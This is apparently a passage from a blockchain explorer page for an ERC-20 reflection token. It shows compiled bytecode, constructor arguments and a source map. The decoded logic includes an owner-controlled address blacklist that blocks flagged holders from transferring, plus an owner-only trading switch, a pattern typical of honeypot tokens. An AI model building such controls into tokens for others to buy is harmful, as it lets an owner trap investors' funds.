900460ff16604051610df1929190612601565b60405180910390a18080610e0490612655565b915050610ccc565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e9b611966565b60011515600a5f9054906101000a900460ff16151503610ed3575f600a5f6101000a81548160ff021916908315150217905550610eee565b6001600a5f6101000a81548160ff0219169083151502179055505b565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f33905090565b5f805f805f805f610f59886119e4565b915091505f610f666118f4565b90505f805f610f768c8686611a34565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b5f610fdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611892565b905092915050565b5f808284610ff1919061269c565b905083811015611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d90612719565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906127a7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390612835565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f691906120eb565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611271576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611268906128c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690612951565b60405180910390fd5b5f8111611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318906129df565b60405180910390fd5b60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156113b3575f81146113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990612a20565b60405180910390fd5b5b60011515600a5f9054906101000a900460ff161515148061140657506113d7610a89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114435750611414610a89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118375760065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114e5575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156116905761155481604051806060016040528060268152602001612c066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506115e58160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168391906120eb565b60405180910390a3611832565b6116fa81604051806060016040528060268152602001612c066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118929092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061178b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fe390919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182991906120eb565b60405180910390a35b61188d565b60011515600a5f9054906101000a900460ff1615151461188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188390612a20565b60405180910390fd5b5b505050565b5f8383111582906118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d09190611fc9565b60405180910390fd5b505f83856118e79190612a3e565b9050809150509392505050565b5f805f6118ff611a8e565b91509150611916818361191d90919063ffffffff16565b9250505090565b5f61195e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d45565b905092915050565b61196e610f42565b73ffffffffffffffffffffffffffffffffffffffff1661198c611da6565b73ffffffffffffffffffffffffffffffffffffffff16146119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d990612abb565b60405180910390fd5b565b5f805f611a0f6103e8611a01600287611db990919063ffffffff16565b61191d90919063ffffffff16565b90505f611a258286610f9a90919063ffffffff16565b90508082935093505050915091565b5f805f80611a4b8588611db990919063ffffffff16565b90505f611a618688611db990919063ffffffff16565b90505f611a778284610f9a90919063ffffffff16565b905082818395509550955050505093509350939050565b5f805f600b5490505f686c6b935b8bbd40000090505f5b600780549050811015611cfa578260035f60078481548110611aca57611ac96125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541180611baf57508160045f60078481548110611b4b57611b4a6125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15611bcd57600b54686c6b935b8bbd40000094509450505050611d41565b611c5860035f60078481548110611be757611be66125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205484610f9a90919063ffffffff16565b9250611ce560045f60078481548110611c7457611c736125d4565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205483610f9a90919063ffffffff16565b91508080611cf290612655565b915050611aa5565b50611d19686c6b935b8bbd400000600b5461191d90919063ffffffff16565b821015611d3857600b54686c6b935b8bbd400000935093505050611d41565b81819350935050505b9091565b5f8083118290611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d829190611fc9565b60405180910390fd5b505f8385611d999190612b06565b9050809150509392505050565b5f80611db0611e30565b90508091505090565b5f808303611dc9575f9050611e2a565b5f8284611dd69190612b36565b9050828482611de59190612b06565b14611e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1c90612be7565b60405180910390fd5b809150505b92915050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ea8575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ecb565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b611ef381611ee1565b8114611efd575f80fd5b50565b5f81359050611f0e81611eea565b92915050565b5f60208284031215611f2957611f28611ed9565b5b5f611f3684828501611f00565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611f76578082015181840152602081019050611f5b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f9b82611f3f565b611fa58185611f49565b9350611fb5818560208601611f59565b611fbe81611f81565b840191505092915050565b5f6020820190508181035f830152611fe18184611f91565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61201282611fe9565b9050919050565b61202281612008565b82525050565b5f60208201905061203b5f830184612019565b92915050565b61204a81612008565b8114612054575f80fd5b50565b5f8135905061206581612041565b92915050565b5f806040838503121561208157612080611ed9565b5b5f61208e85828601612057565b925050602061209f85828601611f00565b9150509250929050565b5f8115159050919050565b6120bd816120a9565b82525050565b5f6020820190506120d65f8301846120b4565b92915050565b6120e581611ee1565b82525050565b5f6020820190506120fe5f8301846120dc565b92915050565b5f805f6060848603121561211b5761211a611ed9565b5b5f61212886828701612057565b935050602061213986828701612057565b925050604061214a86828701611f00565b9150509250925092565b5f60ff82169050919050565b61216981612154565b82525050565b5f6020820190506121825f830184612160565b92915050565b612191816120a9565b811461219b575f80fd5b50565b5f813590506121ac81612188565b92915050565b5f80604083850312156121c8576121c7611ed9565b5b5f6121d585828601611f00565b92505060206121e68582860161219e565b9150509250929050565b5f6020828403121561220557612204611ed9565b5b5f61221284828501612057565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61225582611f81565b810181811067ffffffffffffffff821117156122745761227361221f565b5b80604052505050565b5f612286611ed0565b9050612292828261224c565b919050565b5f67ffffffffffffffff8211156122b1576122b061221f565b5b602082029050602081019050919050565b5f80fd5b5f6122d86122d384612297565b61227d565b905080838252602082019050602084028301858111156122fb576122fa6122c2565b5b835b8181101561232457806123108882612057565b8452602084019350506020810190506122fd565b5050509392505050565b5f82601f8301126123425761234161221b565b5b81356123528482602086016122c6565b91505092915050565b5f806040838503121561237157612370611ed9565b5b5f83013567ffffffffffffffff81111561238e5761238d611edd565b5b61239a8582860161232e565b92505060206123ab8582860161219e565b9150509250929050565b5f80604083850312156123cb576123ca611ed9565b5b5f6123d885828601612057565b92505060206123e985828601612057565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c20745f8201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b5f61244d602c83611f49565b9150612458826123f3565b604082019050919050565b5f6020820190508181035f83015261247a81612441565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806124c557607f821691505b6020821081036124d8576124d7612481565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612538602a83611f49565b9150612543826124de565b604082019050919050565b5f6020820190508181035f8301526125658161252c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f6125a0601f83611f49565b91506125ab8261256c565b602082019050919050565b5f6020820190508181035f8301526125cd81612594565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6040820190506126145f830185612019565b61262160208301846120b4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61265f82611ee1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361269157612690612628565b5b600182019050919050565b5f6126a682611ee1565b91506126b183611ee1565b92508282019050808211156126c9576126c8612628565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612703601b83611f49565b915061270e826126cf565b602082019050919050565b5f6020820190508181035f830152612730816126f7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612791602483611f49565b915061279c82612737565b604082019050919050565b5f6020820190508181035f8301526127be81612785565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61281f602283611f49565b915061282a826127c5565b604082019050919050565b5f6020820190508181035f83015261284c81612813565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6128ad602583611f49565b91506128b882612853565b604082019050919050565b5f6020820190508181035f8301526128da816128a1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61293b602383611f49565b9150612946826128e1565b604082019050919050565b5f6020820190508181035f8301526129688161292f565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6129c9602983611f49565b91506129d48261296f565b604082019050919050565b5f6020820190508181035f8301526129f6816129bd565b9050919050565b50565b5f612a0b5f83611f49565b9150612a16826129fd565b5f82019050919050565b5f6020820190508181035f830152612a3781612a00565b9050919050565b5f612a4882611ee1565b9150612a5383611ee1565b9250828203905081811115612a6b57612a6a612628565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612aa5602083611f49565b9150612ab082612a71565b602082019050919050565b5f6020820190508181035f830152612ad281612a99565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b1082611ee1565b9150612b1b83611ee1565b925082612b2b57612b2a612ad9565b5b828204905092915050565b5f612b4082611ee1565b9150612b4b83611ee1565b9250828202612b5981611ee1565b91508282048414831517612b7057612b6f612628565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bd1602183611f49565b9150612bdc82612b77565b604082019050919050565b5f6020820190508181035f830152612bfe81612bc5565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203fc77a5438682cd000648f27c56089fa227d1fea42fb9a86df29f2112348363d64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000008dba3de09cf931222ed06892ab708698297963a6

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : distro (address): 0x8dba3De09Cf931222Ed06892Ab708698297963A6

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000008dba3de09cf931222ed06892ab708698297963a6


Deployed Bytecode Sourcemap

164:10856:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4519:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2438:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;880:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3274:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2715:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3589:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2341:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5345:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2624:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3910:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4903:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4413:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2822:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2523:148:1;;;:::i;:::-;;2090:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2529:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3445:132;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4136:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2948:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1627:377;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3123:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2191:138;;;:::i;:::-;;2016:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4519:376;4571:14;4588:12;:10;:12::i;:::-;4571:29;;4620:11;:19;4632:6;4620:19;;;;;;;;;;;;;;;;;;;;;;;;;4619:20;4611:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4700:15;4723:19;4734:7;4723:10;:19::i;:::-;4699:43;;;;;;4771:28;4791:7;4771;:15;4779:6;4771:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4753:7;:15;4761:6;4753:15;;;;;;;;;;;;;;;:46;;;;4820:20;4832:7;4820;;:11;;:20;;;;:::i;:::-;4810:7;:30;;;;4864:23;4879:7;4864:10;;:14;;:23;;;;:::i;:::-;4851:10;:36;;;;4560:335;;4519:376;:::o;2438:83::-;2475:13;2508:5;2501:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2438:83;:::o;880:30::-;;;;;;;;;;;;;:::o;3274:161::-;3349:4;3366:39;3375:12;:10;:12::i;:::-;3389:7;3398:6;3366:8;:39::i;:::-;3423:4;3416:11;;3274:161;;;;:::o;2715:95::-;2768:7;1065:19;2788:14;;2715:95;:::o;3589:313::-;3687:4;3704:36;3714:6;3722:9;3733:6;3704:9;:36::i;:::-;3751:121;3760:6;3768:12;:10;:12::i;:::-;3782:89;3820:6;3782:89;;;;;;;;;;;;;;;;;:11;:19;3794:6;3782:19;;;;;;;;;;;;;;;:33;3802:12;:10;:12::i;:::-;3782:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3751:8;:121::i;:::-;3890:4;3883:11;;3589:313;;;;;:::o;2341:89::-;2388:4;2412:10;;;;;;;;;;;2405:17;;2341:89;:::o;5345:253::-;5411:7;5450;;5439;:18;;5431:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;5515:19;5538:10;:8;:10::i;:::-;5515:33;;5566:24;5578:11;5566:7;:11;;:24;;;;:::i;:::-;5559:31;;;5345:253;;;:::o;2624:83::-;2665:5;2690:9;;;;;;;;;;;2683:16;;2624:83;:::o;3910:218::-;3998:4;4015:83;4024:12;:10;:12::i;:::-;4038:7;4047:50;4086:10;4047:11;:25;4059:12;:10;:12::i;:::-;4047:25;;;;;;;;;;;;;;;:34;4073:7;4047:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;4015:8;:83::i;:::-;4116:4;4109:11;;3910:218;;;;:::o;4903:434::-;4993:7;1065:19;5021:7;:18;;5013:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5091:17;5086:244;;5126:15;5149:19;5160:7;5149:10;:19::i;:::-;5125:43;;;;;;5190:7;5183:14;;;;;5086:244;5232:23;5262:19;5273:7;5262:10;:19::i;:::-;5230:51;;;;;;5303:15;5296:22;;;4903:434;;;;;:::o;4413:94::-;4462:7;4489:10;;4482:17;;4413:94;:::o;2822:118::-;2888:7;2916;:16;2924:7;2916:16;;;;;;;;;;;;;;;;2909:23;;2822:118;;;:::o;2523:148:1:-;1960:13;:11;:13::i;:::-;2630:1:::1;2593:40;;2614:6;::::0;::::1;;;;;;;;2593:40;;;;;;;;;;;;2661:1;2644:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2523:148::o:0;2090:79::-;2128:7;2155:6;;;;;;;;;;;2148:13;;2090:79;:::o;2529:87:2:-;2568:13;2601:7;2594:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2529:87;:::o;3445:132::-;1960:13:1;:11;:13::i;:::-;3543:26:2::1;3562:6;3543:7;:14;3551:5;3543:14;;;;;;;;;;;;;;;;:18;;:26;;;;:::i;:::-;3526:7;:14;3534:5;3526:14;;;;;;;;;;;;;;;:43;;;;3445:132:::0;;:::o;4136:269::-;4229:4;4246:129;4255:12;:10;:12::i;:::-;4269:7;4278:96;4317:15;4278:96;;;;;;;;;;;;;;;;;:11;:25;4290:12;:10;:12::i;:::-;4278:25;;;;;;;;;;;;;;;:34;4304:7;4278:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;4246:8;:129::i;:::-;4393:4;4386:11;;4136:269;;;;:::o;2948:167::-;3026:4;3043:42;3053:12;:10;:12::i;:::-;3067:9;3078:6;3043:9;:42::i;:::-;3103:4;3096:11;;2948:167;;;;:::o;1627:377::-;1960:13:1;:11;:13::i;:::-;1726:9:2::1;1721:276;1741:10;:17;1739:1;:19;1721:276;;;1854:3;1779:57;:72;1837:10;1848:1;1837:13;;;;;;;;:::i;:::-;;;;;;;;1779:72;;;;;;;;;;;;;;;;:78;;;;;;;;;;;;;;;;;;1877:108;1897:10;1908:1;1897:13;;;;;;;;:::i;:::-;;;;;;;;1912:57;:72;1970:10;1981:1;1970:13;;;;;;;;:::i;:::-;;;;;;;;1912:72;;;;;;;;;;;;;;;;;;;;;;;;;1877:108;;;;;;;:::i;:::-;;;;;;;;1760:3;;;;;:::i;:::-;;;;1721:276;;;;1627:377:::0;;:::o;3123:143::-;3204:7;3231:11;:18;3243:5;3231:18;;;;;;;;;;;;;;;:27;3250:7;3231:27;;;;;;;;;;;;;;;;3224:34;;3123:143;;;;:::o;2191:138::-;1960:13:1;:11;:13::i;:::-;2269:4:2::1;2255:18;;:10;;;;;;;;;;;:18;;::::0;2251:71:::1;;2289:5;2276:10;;:18;;;;;;;;;;;;;;;;;;2251:71;;;2316:4;2303:10;;:17;;;;;;;;;;;;;;;;;;2251:71;2191:138::o:0;2016:163::-;2078:4;2102:57;:69;2160:10;2102:69;;;;;;;;;;;;;;;;;;;;;;;;;2095:76;;2016:163;;;:::o;602:114:1:-;655:15;697:10;682:26;;602:114;:::o;9285:411:2:-;9344:7;9353;9362;9371;9380;9401:23;9426:12;9442:20;9454:7;9442:11;:20::i;:::-;9400:62;;;;9473:19;9496:10;:8;:10::i;:::-;9473:33;;9518:15;9535:23;9560:12;9576:39;9588:7;9597:4;9603:11;9576;:39::i;:::-;9517:98;;;;;;9634:7;9643:15;9660:4;9666:15;9683:4;9626:62;;;;;;;;;;;;;;;;9285:411;;;;;;;:::o;1211:136:4:-;1269:7;1296:43;1300:1;1303;1296:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1289:50;;1211:136;;;;:::o;826:179::-;884:7;904:9;920:1;916;:5;;;;:::i;:::-;904:17;;945:1;940;:6;;932:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;996:1;989:8;;;826:179;;;;:::o;5606:335:2:-;5716:1;5699:19;;:5;:19;;;5691:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5797:1;5778:21;;:7;:21;;;5770:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5879:6;5849:11;:18;5861:5;5849:18;;;;;;;;;;;;;;;:27;5868:7;5849:27;;;;;;;;;;;;;;;:36;;;;5917:7;5901:32;;5910:5;5901:32;;;5926:6;5901:32;;;;;;:::i;:::-;;;;;;;;5606:335;;;:::o;5953:1062::-;6068:1;6050:20;;:6;:20;;;6042:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;6152:1;6131:23;;:9;:23;;;6123:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6222:1;6213:6;:10;6205:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6284:57;:65;6342:6;6284:65;;;;;;;;;;;;;;;;;;;;;;;;;6280:96;;;6370:1;6360:6;:11;6351:25;;;;;;;;;;;;:::i;:::-;;;;;;;;;6280:96;6405:4;6391:18;;:10;;;;;;;;;;;:18;;;:39;;;;6423:7;:5;:7::i;:::-;6413:17;;:6;:17;;;6391:39;:63;;;;6447:7;:5;:7::i;:::-;6434:20;;:9;:20;;;6391:63;6387:621;;;6471:11;:19;6483:6;6471:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;6495:11;:22;6507:9;6495:22;;;;;;;;;;;;;;;;;;;;;;;;;6494:23;6471:46;6467:489;;;6548:69;6568:6;6548:69;;;;;;;;;;;;;;;;;:7;:15;6556:6;6548:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6530:7;:15;6538:6;6530:15;;;;;;;;;;;;;;;:87;;;;6649:30;6672:6;6649:7;:18;6657:9;6649:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6628:7;:18;6636:9;6628:18;;;;;;;;;;;;;;;:51;;;;6712:9;6695:35;;6704:6;6695:35;;;6723:6;6695:35;;;;;;:::i;:::-;;;;;;;;6467:489;;;6772:69;6792:6;6772:69;;;;;;;;;;;;;;;;;:7;:15;6780:6;6772:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;6754:7;:15;6762:6;6754:15;;;;;;;;;;;;;;;:87;;;;6873:30;6896:6;6873:7;:18;6881:9;6873:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;6852:7;:18;6860:9;6852:18;;;;;;;;;;;;;;;:51;;;;6936:9;6919:35;;6928:6;6919:35;;;6947:6;6919:35;;;;;;:::i;:::-;;;;;;;;6467:489;6387:621;;;6997:4;6983:18;;:10;;;;;;;;;;;:18;;;6974:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;6387:621;5953:1062;;;:::o;1573:190:4:-;1659:7;1692:1;1687;:6;;1695:12;1679:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1719:9;1735:1;1731;:5;;;;:::i;:::-;1719:17;;1754:1;1747:8;;;1573:190;;;;;:::o;10285:163:2:-;10326:7;10347:15;10364;10383:19;:17;:19::i;:::-;10346:56;;;;10420:20;10432:7;10420;:11;;:20;;;;:::i;:::-;10413:27;;;;10285:163;:::o;2809:132:4:-;2867:7;2894:39;2898:1;2901;2894:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2887:46;;2809:132;;;;:::o;2803:127:1:-;2873:12;:10;:12::i;:::-;2862:23;;:7;:5;:7::i;:::-;:23;;;2854:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2803:127::o;9704:231:2:-;9764:7;9773;9793:12;9808:24;9827:4;9808:14;9820:1;9808:7;:11;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;9793:39;;9843:23;9869:17;9881:4;9869:7;:11;;:17;;;;:::i;:::-;9843:43;;9905:15;9922:4;9897:30;;;;;;9704:231;;;:::o;9943:334::-;10038:7;10047;10056;10076:15;10094:24;10106:11;10094:7;:11;;:24;;;;:::i;:::-;10076:42;;10129:12;10144:21;10153:11;10144:4;:8;;:21;;;;:::i;:::-;10129:36;;10176:23;10202:17;10214:4;10202:7;:11;;:17;;;;:::i;:::-;10176:43;;10238:7;10247:15;10264:4;10230:39;;;;;;;;;9943:334;;;;;;;:::o;10456:561::-;10506:7;10515;10535:15;10553:7;;10535:25;;10571:15;1065:19;10571:25;;10618:9;10613:289;10637:9;:16;;;;10633:1;:20;10613:289;;;10703:7;10679;:21;10687:9;10697:1;10687:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10679:21;;;;;;;;;;;;;;;;:31;:66;;;;10738:7;10714;:21;10722:9;10732:1;10722:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10714:21;;;;;;;;;;;;;;;;:31;10679:66;10675:97;;;10755:7;;1065:19;10747:25;;;;;;;;;10675:97;10797:34;10809:7;:21;10817:9;10827:1;10817:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10809:21;;;;;;;;;;;;;;;;10797:7;:11;;:34;;;;:::i;:::-;10787:44;;10856:34;10868:7;:21;10876:9;10886:1;10876:12;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10868:21;;;;;;;;;;;;;;;;10856:7;:11;;:34;;;;:::i;:::-;10846:44;;10655:3;;;;;:::i;:::-;;;;10613:289;;;;10926:20;1065:19;10926:7;;:11;;:20;;;;:::i;:::-;10916:7;:30;10912:61;;;10956:7;;1065:19;10948:25;;;;;;;;10912:61;10992:7;11001;10984:25;;;;;;10456:561;;;:::o;3361:276:4:-;3447:7;3479:1;3475;:5;3482:12;3467:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3506:9;3522:1;3518;:5;;;;:::i;:::-;3506:17;;3628:1;3621:8;;;3361:276;;;;;